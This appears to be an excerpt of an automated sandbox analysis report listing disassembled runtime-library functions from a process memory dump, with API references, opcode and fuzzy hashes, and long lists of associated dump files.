Opcode Fuzzy Hash: ff82122c2673b15222ef7c8e0e4b6b490803e6525ae12b3d6e630de2a22a09a8
Instruction Fuzzy Hash: 4081677490024AABDF169F94C9A1FFE7BB3EF56304F04409CEC416A252C7328D6ADB61

Function 006C289D Relevance: 16.7, APIs: 11, Instructions: 222COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 006C28AF

Part of subcall function 006C240E: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 006C2431

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 006C28D0
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 006C28DD
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 006C292B
Concurrency::details::WorkSearchContext::SearchCacheLocal_Unrealized.LIBCONCRT ref: 006C29D3
Concurrency::details::WorkSearchContext::SearchCacheLocal_Realized.LIBCONCRT ref: 006C2A05

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Search$Work$Context::$Base::CacheLocal_PriorityScheduler$CheckItemItem::ListNextObjectPeriodicRealizedScanUnrealized
String ID:
API String ID: 1256429809-0
Opcode ID: db6adea936bff7cb78348f24c679b27a628977392458cb65a007a4af1f724168
Instruction ID: 61909bd7994f453168c71cfc1dd48e95721a2479649fc98c5e6a8c665185620f
Opcode Fuzzy Hash: db6adea936bff7cb78348f24c679b27a628977392458cb65a007a4af1f724168
Instruction Fuzzy Hash: A471567090024AABDF25DE94C9A0FFEBBA6EF46304F04409CEC416B352C7729D16DB61

Function 006B2762 Relevance: 15.2, APIs: 10, Instructions: 223COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 006B27A6
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 006B280F
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 006B2843

Part of subcall function 006B071D: Concurrency::details::ResourceManager::AffinityRestriction::ApplyAffinityLimits.LIBCMT ref: 006B073D

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 006B28C3
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 006B290B

Part of subcall function 006B06F2: Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 006B070E

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 006B291F
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 006B2930
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 006B297D
Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 006B29AE

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$Affinity$Apply$Restrictions$InformationTopology$Restriction::$CleanupFindGroupLimits
String ID:
API String ID: 1321587334-0
Opcode ID: a53c907e85aa269fc891ac0cbfa1aad833a4ce6d431befec0b49fea83518fd44
Instruction ID: 123cf841e01d8c075668fb5837b41e8479daf7741094468eb9ca849f38725181
Opcode Fuzzy Hash: a53c907e85aa269fc891ac0cbfa1aad833a4ce6d431befec0b49fea83518fd44
Instruction Fuzzy Hash: 1981D0B1A005178BCB18EF6AD8A06FEBBF7BB48300B64416DD556A7750DB30ADC5CB84

Function 006B690A Relevance: 15.1, APIs: 10, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 006B694F
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 006B6981
List.LIBCONCRT ref: 006B69BC
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 006B69CD
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 006B69E9
List.LIBCONCRT ref: 006B6A24
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 006B6A35
Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 006B6A50
List.LIBCONCRT ref: 006B6A8B
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 006B6A98

Part of subcall function 006B5E0F: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 006B5E27
Part of subcall function 006B5E0F: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 006B5E39

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Scheduling$Find$GroupNode::ProcessorRing::ScheduleSegmentVirtual$ListNext$AcquireConcurrency::details::_Lock::_ReaderWriteWriter
String ID:
API String ID: 3403738998-0
Opcode ID: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction ID: c4003b9c56e1aa81034658ee467b1fd4f5f450734b7a5cb2d8e8a359b1679fab
Opcode Fuzzy Hash: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction Fuzzy Hash: 135141B1A00219ABDF14EF54C495BEDB7A9FF08344F04446DE906AB382DB34AE85CF90

Function 006C51D5 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 308COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 006C52D0
type_info::operator==.LIBVCRUNTIME ref: 006C52F7
___TypeMatch.LIBVCRUNTIME ref: 006C5403
IsInExceptionSpec.LIBVCRUNTIME ref: 006C54DE
CallUnexpected.LIBVCRUNTIME ref: 006C5580

Strings

csm, xrefs: 006C532E
csm, xrefs: 006C5210
csm, xrefs: 006C527D

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 4162181273-393685449
Opcode ID: d92adb8b9e5fb8013249044fd9607a5062c5f87642cd101c84645b6a33c5446b
Instruction ID: fec4c199f131359b32a94bb9c6e87765463bda77400b50cdf0fec007811f5a51
Opcode Fuzzy Hash: d92adb8b9e5fb8013249044fd9607a5062c5f87642cd101c84645b6a33c5446b
Instruction Fuzzy Hash: D9C13871800619AFCF29DF94CC81EEEBBB6FF08311B44415EE8166B242D771EA91CB95

Function 006B7294 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 006B72E0
Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 006B7322
Concurrency::details::InternalContextBase::GetAndResetOversubscribedVProc.LIBCMT ref: 006B733E
Concurrency::details::VirtualProcessor::MarkForRetirement.LIBCONCRT ref: 006B7349
std::invalid_argument::invalid_argument.LIBCONCRT ref: 006B7370

Strings

count, xrefs: 006B72AE
ppVirtualProcessorRoots, xrefs: 006B7368

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
